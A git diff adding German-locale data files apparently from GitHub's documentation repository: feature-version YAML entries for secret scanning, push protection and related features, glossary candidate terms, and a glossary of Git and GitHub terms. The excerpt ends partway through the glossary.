diff --git a/translations/de-DE/data/features/secret-scanning-custom-enterprise-35.yml b/translations/de-DE/data/features/secret-scanning-custom-enterprise-35.yml
new file mode 100644
index 0000000000..df862b169c
--- /dev/null
+++ b/translations/de-DE/data/features/secret-scanning-custom-enterprise-35.yml
@@ -0,0 +1,6 @@
+# Issues: changes to custom patterns for secret scanning
+#   #6367: updates for the "organization level dry runs (Public Beta)"
+#   #5499: updates for the "repository level dry runs (Public Beta)"
+versions:
+  ghes: '>3,4 <3,7'
+  ghae: 'issue-6367'
diff --git a/translations/de-DE/data/features/secret-scanning-custom-enterprise-36.yml b/translations/de-DE/data/features/secret-scanning-custom-enterprise-36.yml
new file mode 100644
index 0000000000..4404d72e9c
--- /dev/null
+++ b/translations/de-DE/data/features/secret-scanning-custom-enterprise-36.yml
@@ -0,0 +1,6 @@
+# Issues: changes to custom patterns for secret scanning
+#    #6904: updates for "enterprise account level dry runs (Public Beta)"
+#    #7297: updates for dry runs on editing patterns (Public Beta)
+versions:
+  ghes: '>3,5 <3,7'
+  ghae: 'issue-6904'
diff --git a/translations/de-DE/data/features/secret-scanning-push-protection-bypasses.yml b/translations/de-DE/data/features/secret-scanning-push-protection-bypasses.yml
new file mode 100644
index 0000000000..1f76e1f6d0
--- /dev/null
+++ b/translations/de-DE/data/features/secret-scanning-push-protection-bypasses.yml
@@ -0,0 +1,6 @@
+# Reference: #7298.
+# Documentation for new events related to secret scanning push protection bypasses, e.g. audit log.
+versions:
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-7298'
diff --git a/translations/de-DE/data/features/secret-scanning-push-protection-email.yml b/translations/de-DE/data/features/secret-scanning-push-protection-email.yml
new file mode 100644
index 0000000000..6a29e7c830
--- /dev/null
+++ b/translations/de-DE/data/features/secret-scanning-push-protection-email.yml
@@ -0,0 +1,6 @@
+# Reference: #7511.
+# When developers bypass a block by push protection for a detected secret, administrators will receive an email notification of that bypass.
+versions:
+  ghec: '*'
+  ghes: '>=3.7'
+  ghae: 'issue-7511'
diff --git a/translations/de-DE/data/features/secret-scanning-push-protection-web-ui.yml b/translations/de-DE/data/features/secret-scanning-push-protection-web-ui.yml
new file mode 100644
index 0000000000..5e61e50ab8
--- /dev/null
+++ b/translations/de-DE/data/features/secret-scanning-push-protection-web-ui.yml
@@ -0,0 +1,6 @@
+# Reference: #6788.
+# Documentation for secret scanning as a push protection in the web ui (as opposed to command line)
+versions:
+  ghes: '>=3.6'
+  ghae: 'issue-6788'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/secret-scanning-push-protection.yml b/translations/de-DE/data/features/secret-scanning-push-protection.yml
new file mode 100644
index 0000000000..fb7eb9b79e
--- /dev/null
+++ b/translations/de-DE/data/features/secret-scanning-push-protection.yml
@@ -0,0 +1,6 @@
+# Reference: #5620.
+# Documentation for secret scanning as a push protection
+versions:
+  ghes: '>=3,5'
+  ghae: 'issue-5620'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/security-advisories-ghes-ghae.yml b/translations/de-DE/data/features/security-advisories-ghes-ghae.yml
new file mode 100644
index 0000000000..bec5d8f035
--- /dev/null
+++ b/translations/de-DE/data/features/security-advisories-ghes-ghae.yml
@@ -0,0 +1,4 @@
+# Reference: Issue #6982 Community Contributions to Security Advisories - Enterprise 3.6
+versions:
+  ghes: '>=3.6'
+  ghae: 'issue-6982'
diff --git a/translations/de-DE/data/features/security-managers.yml b/translations/de-DE/data/features/security-managers.yml
new file mode 100644
index 0000000000..689f14c090
--- /dev/null
+++ b/translations/de-DE/data/features/security-managers.yml
@@ -0,0 +1,7 @@
+# Reference: #4999.
+# Documentation for the security manager org-level role
+versions:
+  fpt: '*'
+  ghes: '>=3.3'
+  ghae: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/security-overview-displayed-alerts.yml b/translations/de-DE/data/features/security-overview-displayed-alerts.yml
new file mode 100644
index 0000000000..47e4cc9c48
--- /dev/null
+++ b/translations/de-DE/data/features/security-overview-displayed-alerts.yml
@@ -0,0 +1,6 @@
+# Reference: #7114.
+# Documentation for security overview availability to all enterprise accounts.
+versions:
+  ghec: '*'
+  ghes: '>=3.7'
+  ghae: 'issue-7114'
diff --git a/translations/de-DE/data/features/security-overview-feature-specific-alert-page.yml b/translations/de-DE/data/features/security-overview-feature-specific-alert-page.yml
new file mode 100644
index 0000000000..f9c2462bf2
--- /dev/null
+++ b/translations/de-DE/data/features/security-overview-feature-specific-alert-page.yml
@@ -0,0 +1,7 @@
+# Reference: #7028.
+# Documentation for feature-specific page for security overview at enterprise-level.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3,5'
+  ghae: 'issue-7028'
diff --git a/translations/de-DE/data/features/server-statistics.yml b/translations/de-DE/data/features/server-statistics.yml
new file mode 100644
index 0000000000..229675f2b3
--- /dev/null
+++ b/translations/de-DE/data/features/server-statistics.yml
@@ -0,0 +1,4 @@
+# Reference #6677
+# Documentation for GitHub Enterprise Server Statistics
+versions:
+  ghes: '>=3.5'
diff --git a/translations/de-DE/data/features/ssh-commit-verification.yml b/translations/de-DE/data/features/ssh-commit-verification.yml
new file mode 100644
index 0000000000..9b8ec4d181
--- /dev/null
+++ b/translations/de-DE/data/features/ssh-commit-verification.yml
@@ -0,0 +1,8 @@
+# Reference: github/docs-content#6709
+# Initial docs for showing SSH signed commits as verified and
+# uploading SSH signing keys
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>= 3,7'
+  ghae: '*'
diff --git a/translations/de-DE/data/features/streaming-datadog.yml b/translations/de-DE/data/features/streaming-datadog.yml
new file mode 100644
index 0000000000..9c099525c1
--- /dev/null
+++ b/translations/de-DE/data/features/streaming-datadog.yml
@@ -0,0 +1,4 @@
+# Reference #7495
+# Documentation for audit log streaming to a Datadog endpoint
+versions:
+  ghec: '*'
diff --git a/translations/de-DE/data/features/streaming-oidc-s3.yml b/translations/de-DE/data/features/streaming-oidc-s3.yml
new file mode 100644
index 0000000000..59363ca2b7
--- /dev/null
+++ b/translations/de-DE/data/features/streaming-oidc-s3.yml
@@ -0,0 +1,4 @@
+# Reference #7030
+# Documentation for using OIDC as authentication for audit log streaming to S3
+versions:
+  ghec: '*'
diff --git a/translations/de-DE/data/features/svg-support.yml b/translations/de-DE/data/features/svg-support.yml
new file mode 100644
index 0000000000..0203d64cb9
--- /dev/null
+++ b/translations/de-DE/data/features/svg-support.yml
@@ -0,0 +1,5 @@
+# Releases issue #1951
+# Support upload of SVG files
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/syncing-fork-web-ui.yml b/translations/de-DE/data/features/syncing-fork-web-ui.yml
new file mode 100644
index 0000000000..05f39707de
--- /dev/null
+++ b/translations/de-DE/data/features/syncing-fork-web-ui.yml
@@ -0,0 +1,7 @@
+# Issue 7629
+# Improved UI for manually syncing a fork
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.7'
+  ghae: 'issue-7629'
diff --git a/translations/de-DE/data/features/totp-and-mobile-sudo-challenge.yml b/translations/de-DE/data/features/totp-and-mobile-sudo-challenge.yml
new file mode 100644
index 0000000000..48e43830b0
--- /dev/null
+++ b/translations/de-DE/data/features/totp-and-mobile-sudo-challenge.yml
@@ -0,0 +1,6 @@
+# TOTP and mobile challenge for sudo mode prompt.
+
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>= 3,7'
diff --git a/translations/de-DE/data/features/upload-expired-or-revoked-gpg-key.yml b/translations/de-DE/data/features/upload-expired-or-revoked-gpg-key.yml
new file mode 100644
index 0000000000..f11ff75cbd
--- /dev/null
+++ b/translations/de-DE/data/features/upload-expired-or-revoked-gpg-key.yml
@@ -0,0 +1,8 @@
+# Issue: 7123
+# Description: Allow adding expired and revoked GPG keys for verifying commit and tag signatures
+# Usage: {% ifversion upload-expired-or-revoked-gpg-key %} ... {% endif %}
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-7123'
diff --git a/translations/de-DE/data/glossaries/README.md b/translations/de-DE/data/glossaries/README.md
new file mode 100644
index 0000000000..b5ca450274
--- /dev/null
+++ b/translations/de-DE/data/glossaries/README.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 6d982c0371125b4bf2536b0f7840abe05281db2d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068286"
+---
+# Glossare
+
+Die folgenden Dateien umfassen unser [Crowdin-Glossar](https://support.crowdin.com/glossary/):
+
+* `external.yml` enthalt Glossareinträge für Kunden.
+  * Strings in `external.yml` unterstützen Liquid-Bedingungen. Weitere Informationen findest du unter [contributing/liquid-helpers.md](/contributing/liquid-helpers.md).
+* `internal.yml` enthält Einträge, die nur für Übersetzer*innen gedacht sind. Diese Begriffe werden auf der Crowdin-Benutzeroberfläche angezeigt, um den Übersetzer*innen zusätzlichen Kontext darüber zu liefern, was sie übersetzen. Auch wird ein lokalisierter String für diesen Begriff vorgeschlagen.
+* `candidates.yml` enthält Begriffe, die entweder im internen oder externen Glossar stehen sollten, aber noch nicht definiert wurden.
diff --git a/translations/de-DE/data/glossaries/candidates.yml b/translations/de-DE/data/glossaries/candidates.yml
new file mode 100644
index 0000000000..20294daaf5
--- /dev/null
+++ b/translations/de-DE/data/glossaries/candidates.yml
@@ -0,0 +1,101 @@
+- term: Premium-Support
+- term: Standard-Support
+- term: Vorfall
+- term: Absenden
+- term: Ansprechperson
+- term: severity
+- term: Vereinbarung zum Servicelevel
+- term: Quelle
+- term: Kontoverwaltungsteam
+- term: Ticket
+- term: Enterprise-Support
+- term: Supportportal
+- term: Urgent
+- term: High
+- term: Moderat
+- term: Niedrig
+- term: Erweitertes Supportpaket
+- term: Name des Unternehmens
+- term: Datenschutzmodus
+- term: Authentifizierungsmethode
+- term: Geschäftszeiten
+- term: Leitung
+- term: An Management eskalieren
+- term: Verpasste Ticketantworten
+- term: Georeplikation
+- term: Produktionssystem
+- term: Vertrauliche Daten anonymisieren
+- term: Geschäftliche Begründung
+- term: Zulässige Credits
+- term: Vertrieb kontaktieren
+- term: Schulungsabteilung kontaktieren
+- term: Ausgehend
+- term: Alphanumerisch
+- term: Angebot
+- term: Tarif
+- term: Einheitsplan
+- term: Rolle (role)
+- term: Gutschein einlösen
+- term: Kostenloser Plan
+- term: frei
+- term: discount
+- term: Veraltetes Review
+- term: Beitragscredit
+- term: Konfliktmarker
+- term: In Arbeit befindlicher Commit
+- term: Vorgängercommit
+- term: Beitragsdiagramm
+- term: Genehmigen
+- term: Verwerfen
+- term: Stufe
+- term: Einladung
+- term: uptime
+- term: Diskussion
+- term: Dienst- und Datenschutzrichtlinie
+- term: Reaktivieren
+- term: Administratorcenter
+- term: Akademische Tätigkeit
+- term: Rabatt für Bildungseinrichtungen
+- term: Austauschbare Domain
+- term: Rollover
+- term: quota
+- term: Privater Schlüssel
+- term: Öffentlicher Schlüssel
+- term: Hotpatching
+- term: Featurerelease
+- term: Commit mit Co-Autor
+- term: Unterdomänenisolation
+- term: Integrierte Authentifizierung
+- term: Missbrauchsbegrenzungen
+- term: Lastdurchschnitt
+- term: Kurzlebig
+- term: Preflightüberprüfung
+- term: Kundenbetreuer*in
+- term: Einheitliche Suche
+- term: Inaktive*r Benutzer*in
+- term: bereitstellung
+- term: Gesetzliche Aufbewahrungspflicht
+- term: SSO für nicht angeforderte Antworten
+- term: SSO initiiert durch IdP
+- term: Echtheit von Nachrichten
+- term: Alle Rechte vorbehalten
+- term: Campus Advisors
+- term: Campus Experts
+- term: Gemeinschaftliche Entwicklungsmodelle
+- term: Einheitliche Ansicht
+- term: Three-Dot-Diff
+- term: Rich-Diff
+- term: Konversation (conversation)
+- term: Öffentliches Gist/geheimes Gist
+- term: Erweiterung
+- term: Beschaffungsunternehmen
+- term: Verlängerungsaufträge
+- term: Benutzerabhängige Preisgestaltung
+- term: Watcher
+- term: Obligatorische Commit-Signatur
+- term: Prüfsuiten
+- term: Rabatt für Bildungseinrichtungen
+- term: Entwicklungspaket für Studierende
+- term: Akademischer Forschungsrabatt
+- term: Stargazers
+- term: Aufheben der Spamkennzeichnung
diff --git a/translations/de-DE/data/glossaries/external.yml b/translations/de-DE/data/glossaries/external.yml
new file mode 100644
index 0000000000..2fd18cd191
--- /dev/null
+++ b/translations/de-DE/data/glossaries/external.yml
@@ -0,0 +1,788 @@
+- term: '@mention'
+  description:
+    To notify a person on GitHub by using `@` before their username. Users in an organization on GitHub can also be a part of a team that can be
+    mentioned.
+- term: access token
+  description: >-
+    A token that is used in place of a password when performing Git operations
+    over HTTPS with Git on the command line or the API. Also called a personal
+    access token.
+- term: API preview
+  description: >-
+    A way to try out new APIs and changes to existing API methods before they
+    become part of the official GitHub API.
+- term: appliance
+  description: >-
+    A software application combined with just enough operating system (JeOS) to
+    run optimally on industry-standard hardware (typically a server) or in a
+    virtual machine.
+- term: assignee
+  description: The user that is assigned to an issue.
+- term: authentication code
+  description: >-
+    A code you'll supply, in addition to your GitHub password, when signing in
+    with 2FA via the browser. This code is either generated by an application or delivered to
+    your phone via text message. Also called a "2FA authentication code."
+- term: base branch
+  description:
+    The branch into which changes are combined when you merge a pull request.
+    When you create a pull request, you can change the base branch from the repository's default branch to another branch if required.
+- term: basic authentication
+  description: >-
+    A method of authentication where the credentials are sent as
+    unencrypted text.
+- term: bio
+  description: >-
+    The user-generated description found on a profile:
+    [Adding a bio to your profile](/articles/adding-a-bio-to-your-profile)
+- term: billing cycle
+  description: The interval of time for your specific billing plan.
+- term: billing email
+  description: >-
+    The organization email address where GitHub sends receipts, credit card or
+    PayPal charges, and other billing-related communication.
+- term: billing manager
+  description: The organization member that manages billing settings for an organization.
+- term: billing plan
+  description: >-
+    Payment plans for users and organizations that include set features for each
+    type of plan.
+- term: blame
+  description: >-
+    The "blame" feature in Git describes the last modification to each line of a
+    file, which generally displays the revision, author and time. This is
+    helpful, for example, in tracking down when a feature was added, or which
+    commit led to a particular bug.
+- term: block
+  description: >-
+    To remove a user's ability to collaborate on an organization's repositories.
+- term: branch
+  description: >-
+    A branch is a parallel version of a repository. It is contained within the
+    repository, but does not affect the primary or main branch allowing you to
+    work freely without disrupting the "live" version. When you've made the
+    changes you want to make, you can merge your branch back into the main
+    branch to publish your changes.
+- term: branch restriction
+  description: >-
+    A restriction that repository admins can enable so that only certain users
+    or teams can push or make certain changes to the branch.
+- term: Business plan
+  description: >-
+    An organization billing plan where you can collaborate on unlimited public
+    and private repositories, allow or require organization members to
+    authenticate to GitHub using SAML SSO, and provision and deprovision access
+    with SAML or SCIM.
+- term: CA certificate
+  description: >-
+    A digital certificate issued by Certificate Authority (CA) that ensures there are valid connections between two machines, such as a user's computer and GitHub.com and verifies the ownership of a site.
+- term: card
+  description: A movable square within a project board associated with an issue or pull request.
+- term: check
+  description: >-
+    A check is a type of status check on {% data variables.product.product_name %}. See "[Status checks](#status-checks)."
+- term: checkout
+  description: >-
+    You can use `git checkout` on the command line to create a new branch, change your current working branch to a different branch, or even to switch to a different version of a file from a different branch with `git checkout [branchname] [path to file]`. The "checkout" action updates all or part of the working tree with a tree object or
+    blob from the object database, and updates the index and HEAD if the whole
+    working tree is pointing to a new branch.
+- term: cherry-picking
+  description: >-
+    To choose a subset of changes from a series of changes (typically commits) and record them as a new series of changes on top of a different codebase. In Git, this is performed by the `git cherry-pick` command to extract the change introduced by an existing commit on another branch and to record it based on the tip of the current branch as a new commit. For more information, see [git-cherry-pick](https://git-scm.com/docs/git-cherry-pick) in the Git documentation.
+- term: child team
+  description: >-
+    Within nested teams, the subteam that inherits the parent team's access
+    permissions and @mentions.
+- term: clean
+  description: >-
+    A working tree is clean if it corresponds to the revision referenced by the
+    current HEAD. Also see "dirty".
+- term: clone
+  description: >-
+    A clone is a copy of a repository that lives on your computer instead of on
+    a website's server somewhere, or the act of making that copy. When you make a
+    clone, you can edit the files in your preferred editor and use Git to keep
+    track of your changes without having to be online. The repository you cloned
+    is still connected to the remote version so that you can push your local
+    changes to the remote to keep them synced when you're online.
+- term: clustering
+  description: >-
+    The ability to run GitHub Enterprise services across multiple nodes and load
+    balance requests between them.
+- term: code frequency graph
+  description: >-
+    A repository graph that shows the content additions and deletions for each
+    week in a repository's history.
+- term: code of conduct
+  description: A document that defines standards for how to engage in a community.
+- term: code owner
+  description: >-
+    A person who is designated as an owner of a portion of a repository's code. The code owner is automatically requested for review when someone opens a pull request (not in draft mode) that makes changes to code the code owner owns.
+- term: collaborator
+  description: >-
+    A collaborator is a person with read and write access to a repository who
+    has been invited to contribute by the repository owner.
+- term: commit
+  description: >-
+    A commit, or "revision", is an individual change to a file (or set of
+    files). When you make a commit to save your work, Git creates a unique ID (a.k.a. the "SHA" or "hash") that allows you to keep record of the specific changes committed along with who made them and when. Commits usually contain a
+    commit message which is a brief description of what changes were made.
+- term: commit author
+  description: The user who makes the commit.
+- term: Commit graph
+  description: >-
+    A repository graph that shows all the commits made to a repository in the
+    past year.
+- term: commit ID
+  description: Also known as SHA. A 40-character checksum hash that identifies the commit.
+- term: commit message
+  description: >-
+    Short, descriptive text that accompanies a commit and communicates the change
+    the commit is introducing.
+- term: compare branch
+  description: >-
+    The branch you use to create a pull request.
+    This branch is compared to the base branch you choose for the pull request, and the changes are identified.
+    When the pull request is merged, the base branch is updated with the changes from the compare branch.
+    Also known as the "head branch" of the pull request.
+- term: continuous integration
+  description: >-
+    Also known as CI. A process that runs automated builds and tests once a person commits a change to a configured repository on GitHub. CI is a common best practice in software development that helps detect errors.
+- term: contribution graph
+  description: >-
+    The part of a user's profile that shows their contributions over a period of
+    up to one year, day by day.
+- term: contribution guidelines
+  description: A document explaining how people should contribute to your project.
+- term: contributions
+  description: >-
+    Specific activities on GitHub that will:
+    - Add a square to a user's contribution graph: "[What counts as a contribution](/articles/viewing-contributions-on-your-profile/#what-counts-as-a-contribution)"
+    - Add activities to a user's timeline on their profile: "[Contribution activity](/articles/viewing-contributions-on-your-profile/#contribution-activity)"
+- term: contributor
+  description: >-
+    A contributor is someone who does not have collaborator access to a repository but has contributed to a project and had a pull request they opened merged into the repository.
+- term: contributors graph
+  description: A repository graph that displays the top 100 contributors to a repository.
+- term: coupon
+  description: >-
+    A GitHub-provided code that users or organizations can use to pay for all or
+    part of their subscription.
+- term: cron
+  description: A time-based job scheduler in Unix-like computer operating systems.
+- term: cURL
+  description: Used in command lines or scripts to transfer data.
+- term: dashboard
+  description: >-
+    Your personal dashboard is the main hub of your activity on GitHub. From your personal dashboard, you can keep track of issues and pull requests you're following or working on, navigate to your top repositories and team pages, and learn about recent activity in repositories you're watching or participating in. You can also discover new repositories, which are recommended based on users you're following and repositories you have starred. To only view activity for a specific organization, visit your organization's dashboard. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)" or "[About your organization dashboard](/articles/about-your-organization-dashboard)."
+- term: default branch
+  description: >-
+    The base branch for new pull requests and code commits in a repository. Each repository has at least one branch, which Git creates when you initialize the repository. The first branch is usually called {% ifversion ghes < 3.2 %}`master`{% else %}`main`{% endif %}, and is often the default branch.
+- term: dependents graph
+  description: >-
+    A repository graph that shows the packages, projects, and repositories that depend on a
+    public repository.
+- term: dependency graph
+  description: >-
+    A repository graph that shows the packages and projects that the repository depends on.
+- term: deploy key
+  description: >-
+    A deploy key is an SSH key that is stored on your server and grants access
+    to a single GitHub repository. This key is attached directly to the
+    repository instead of to a personal user account.
+- term: detached HEAD
+  description: >-
+    Git will warn you if you're working on a detached HEAD, which means that Git
+    is not pointing to a branch and that any commits you make will not appear in
+    commit history.  For example, when you check out an arbitrary commit that
+    is not the latest commit of any particular branch, you're working on a
+    "detached HEAD."
+- term: diagnostics
+  description: An overview of a GitHub Enterprise instance's settings and environment.
+- term: diff
+  description: >-
+    A diff is the difference in changes between two commits, or saved changes.
+    The diff will visually describe what was added or removed from a file since
+    its last commit.
+- term: directory
+  description: >-
+    A folder containing one or more files or folders. You can create directories to organize the contents of a repository.
+- term: dirty
+  description: >-
+    A working tree is considered "dirty" if it contains modifications that have
+    not been committed to the current branch.
+- term: email notifications
+  description: Notifications sent to a user's email address.
+- term: enterprise account
+  description: Enterprise accounts allow you to centrally manage policy and billing for multiple organizations. {% data reusables.gated-features.enterprise-accounts %}
+- term: Explorer
+  description: >-
+    An instance of GraphiQL, which is a "graphical interactive in-browser GraphQL
+    IDE."
+- term: fast-forward
+  description: >-
+    A fast-forward is a special type of merge where you have a revision and you
+    are "merging" another branch's changes that happen to be a descendant of
+    what you have. In such a case, you do not make a new merge commit but
+    instead just update to this revision. This will happen frequently on a
+    remote-tracking branch of a remote repository.
+- term: feature branch
+  description: >-
+    A branch used to experiment with a new feature or fix an issue that is not in production. Also called a topic branch.
+- term: fenced code block
+  description: An indented block of code you can create with GitHub Flavored Markdown using triple backticks \`\`\` before and after the code block. See this [example](/articles/creating-and-highlighting-code-blocks#fenced-code-blocks).
+- term: fetch
+  description: >-
+    When you use `git fetch`, you're adding changes from the remote repository to
+    your local working branch without committing them. Unlike `git pull`, fetching
+    allows you to review changes before committing them to your local branch.
+- term: following (users)
+  description: To get notifications about another user's contributions and activity.
+- term: force push
+  description: >-
+    A Git push that overwrites the remote repository with local changes without
+    regard for conflicts.
+- term: fork
+  description: >-
+    A fork is a personal copy of another user's repository that lives on your
+    account. Forks allow you to freely make changes to a project without
+    affecting the original upstream repository. You can also open a pull request in
+    the upstream repository and keep your fork synced with the latest changes since
+    both repositories are still connected.
+- term: Free plan
+  description: >-
+    A user account billing plan that is free. Users can collaborate on unlimited
+    public repositories with unlimited collaborators.
+- term: gist
+  description: >-
+    A gist is a shareable file that you can edit, clone, and fork on GitHub.
+    You can make a gist {% ifversion ghae %}internal{% else %}public{% endif %} or secret, although secret gists will be
+    available to {% ifversion ghae %}any enterprise member{% else %}anyone{% endif %} with the URL.
+- term: Git
+  description: >-
+    Git is an open source program for tracking changes in text files. It was
+    written by the author of the Linux operating system, and is the core
+    technology that GitHub, the social and user interface, is built on top of.
+- term: GitHub App
+  description: >-
+    GitHub Apps provide a service to an entire organization and use their own
+    identity when performing their function. They can be installed directly on
+    organizations and user accounts and granted access to specific repositories.
+    They come with granular permissions and built-in webhooks.
+- term: GitHub Flavored Markdown
+  description: GitHub-specific Markdown used to format prose and code across GitHub. See [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) or [Getting started with writing and formatting on GitHub](/articles/getting-started-with-writing-and-formatting-on-github).
+- term: GitHub Importer
+  description: >-
+    A tool that quickly imports source code repositories, including commits and
+    revision history, to GitHub for users.
+- term: GitHub Jobs
+  description: >-
+    A GitHub site where employers can post jobs that GitHub users may be
+    interested in.
+- term: GitHub Marketplace
+  description: >-
+    A subsite for GitHub users and organizations to purchase and install
+    applications that extend and complement their workflow.
+- term: GitHub Pages
+  description: >-
+    Also referred to as Pages. A static site hosting service designed to host
+    your personal, organization, or project pages directly from a GitHub
+    repository.
+- term: GitHub Wiki
+  description: A section for hosting wiki style documentation on a GitHub repository.
+- term: gitfile
+  description: >-
+    A plain `.git` file, which is always at the root of a working tree and points to the Git directory, which has the entire Git repository and its meta data. You can view this file for your repository on the command line with `git rev-parse --git-dir`.
+    that is the real repository.
+- term: GraphQL
+  description: >-
+    A query language for APIs and a runtime for fulfilling those queries with
+    your existing data.
+- term: HEAD
+  description: A defined commit of a branch, usually the most recent commit at the tip of the branch.
+- term: head branch
+  description: The branch whose changes are combined into the base branch
+    when you merge a pull request.
+    Also known as the "compare branch."
+- term: 'Hello, World'
+  description: >-
+    A "Hello, World!" program is a computer program that outputs or displays
+    "Hello, World!" to a user. Since this program is usually very simple, it is
+    often used as an example of a programming language's basic syntax and
+    serves as a common first exercise for learning a new programming language.
+- term: high-availability
+  description: >-
+    A system or component that is continuously operational for a desirably long
+    length of time.
+- term: hook
+  description: >-
+    During the normal execution of several Git commands, call-outs are made to
+    optional scripts that allow a developer to add functionality or checking.
+    Typically, the hooks allow for a command to be pre-verified and potentially
+    aborted, and allow for a post-notification after the operation is done.
+- term: hostname
+  description: >-
+    Human-readable nicknames that correspond to the address of a device
+    connected to a network.
+- term: identicon
+  description: >-
+    An auto-generated image used as a default profile photo when users sign up for
+    GitHub. Users can replace their identicon with their own profile photo.
+- term: identity provider
+  description: >-
+    Also known as an IdP. A trusted provider that lets you use SAML single
+    sign-on (SSO) to access other websites.
+- term: instance
+  description: >-
+    An organization's private copy of GitHub contained within a virtual machine
+    that they configure and control.
+- term: integration
+  description: >-
+    A third-party application that integrates with GitHub. These can be GitHub
+    Apps, OAuth Apps, or webhooks.
+- term: issue
+  description: >-
+    Issues are suggested improvements, tasks or questions related to the
+    repository. Issues can be created by anyone (for public repositories), and
+    are moderated by repository collaborators. Each issue contains its own discussion thread. You can also categorize an issue with labels and assign it to someone.
+- term: Jekyll
+  description: A static site generator for personal, project, or organization sites.
+- term: Jekyll Theme Chooser
+  description: >-
+    An automated way to select a visual theme for your Jekyll site without editing or
+    copying CSS files.
+- term: key fingerprint
+  description: A short sequence of bytes used to identify a longer public key.
+- term: keychain
+  description: A password management system in macOS.
+- term: keyword
+  description: A specific word that closes an issue when used within a pull request.
+- term: label
+  description: >-
+    A tag on an issue or pull request. Repositories come with a handful of
+    default labels, but users can create custom labels.
+- term: LFS
+  description: >-
+    Git Large File Storage. An open source Git extension for versioning large
+    files.
+- term: license
+  description: >-
+    A document that you can include with your project to let people know what
+    they can and can't do with your source code.
+- term: Linguist
+  description: >-
+    A library used on GitHub to detect blob languages, ignore binary or vendored
+    files, suppress generated files in diffs, and generate language breakdown
+    graphs.
+- term: line comment
+  description: A comment within a pull request on a specific line of code.
+- term: line ending
+  description: >-
+    An invisible character or characters that symbolize the end of a line in a
+    text file.
+- term: locked personal account
+  description: >-
+    A personal account that cannot be accessed by the user. Accounts are locked
+    when users downgrade their paid account to a free one, or if their paid plan
+    is past due.
+- term: management console
+  description: >-
+    A section within the GitHub Enterprise interface that contains
+    administrative features.
+- term: Markdown
+  description: >-
+    Markdown is an incredibly simple semantic file format, not too dissimilar
+    from .doc, .rtf and .txt. Markdown makes it easy for even those without a
+    web-publishing background to write prose (including with links, lists,
+    bullets, etc.) and have it displayed like a website. GitHub supports
+    Markdown and uses a particular form of Markdown called GitHub Flavored Markdown. See [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) or [Getting started with writing and formatting on GitHub](/articles/getting-started-with-writing-and-formatting-on-github).
+- term: markup
+  description: A system for annotating and formatting a document.
+- term: main
+  description: >-
+    The default development branch. Whenever you create a Git repository,
+    a branch named `main` is created, and becomes the active branch.
+    In most cases, this contains the local development, though that is purely by
+    convention and is not required.
+- term: master
+  description: >-
+    The default branch in many Git repositories. By default, when you create
+    a new Git repository on the command line, a branch called `master` is created.
+    Many tools now use an alternative name for the default branch. For example,
+    when you create a new repository on GitHub, the default branch is called `main`.
+- term: members graph
+  description: A repository graph that shows all the forks of a repository.
+- term: mention
+  description: >-
+    A notification sent to a user by prefacing their username with the @ symbol.
+    Users in an organization on GitHub can also be a part of a team that can be
+    mentioned.
+- term: merge
+  description: >-
+    Merging takes the changes from one branch (in the same repository or from a
+    fork), and applies them into another. This often happens as a "pull request"
+    (which can be thought of as a request to merge), or via the command line. A
+    merge can be done through a pull request via the GitHub.com web
+    interface if there are no conflicting changes, or can always be done via the
+    command line.
+- term: merge conflict
+  description: >-
+    A difference that occurs between merged branches. Merge conflicts happen
+    when people make different changes to the same line of the same file, or
+    when one person edits a file and another person deletes the same file. The
+    merge conflict must be resolved before you can merge the branches.
+- term: milestone
+  description: >-
+    A way to track the progress on groups of issues or pull requests in a
+    repository.
+- term: mirror
+  description: A new copy of a repository.
+- term: nested team
+  description: >-
+    A child team of a parent team. You can have multiple children (or nested)
+    teams.
+- term: network graph
+  description: >-
+    A repository graph that shows the branch history of the entire repository
+    network, including branches of the root repository and branches of forks
+    that contain commits unique to the network.
+- term: news feed
+  description: >-
+    An activity view of repositories or people you watch. An organization's News
+    Feed shows activity on repositories owned by the organization.
+- term: non-fast-forward
+  description: >-
+    When your local copy of a repository is out-of-sync with the upstream
+    repository and you need to fetch the upstream changes before you push your
+    local changes.
+- term: notification
+  description: >-
+    Updates, delivered by either the web or email depending on your settings,
+    that give you information about the activities you're interested in.
+- term: OAuth App
+  description: >-
+    A third-party application that uses access tokens rather than passwords to
+    access information for users.
+- term: OAuth token
+  description: The access token used in OAuth Apps to access information for users.
+- term: outside collaborator
+  description: >-
+    A user who has been given access to one or more of an organization’s
+    repositories, but has no other access to the organization and is not a
+    member of the organization.
+- term: open source
+  description: >-
+    Open source software is software that can be freely used, modified, and
+    shared (in both modified and unmodified form) by anyone. Today the concept
+    of "open source" is often extended beyond software, to represent a
+    philosophy of collaboration in which working materials are made available
+    online for anyone to fork, modify, discuss, and contribute to.
+- term: organization
+  description: >-
+    Organizations are a group of two or more users that typically mirror
+    real-world organizations. They are administered by users and can contain
+    both repositories and teams.
+- term: organization owner
+  description: Users who have full administrative access to the organization they own.
+- term: origin
+  description: >-
+    The default upstream repository. Most projects have at least one upstream
+    project that they track. By default, origin is used for that purpose.
+- term: owner
+  description: >-
+    Organization members that have complete administrative access to the
+    organization.
+- term: parent team
+  description: >-
+    Within nested teams, the main team from which child teams inherit access
+    permissions and @mentions.
+- term: participating notifications
+  description: >-
+    A notification about an update in a conversation in an issue or pull request
+    where your username or team was mentioned or where you have previously replied
+    in a comment.
+- term: permalink
+  description: A permanent static hyperlink to a particular web page.
+- term: personal account
+  description: >-
+    A GitHub account that belongs to an individual user.
+- term: primary email address
+  description: >-
+    The main email address where GitHub sends receipts, credit card or PayPal
+    charges, and other billing-related communication.
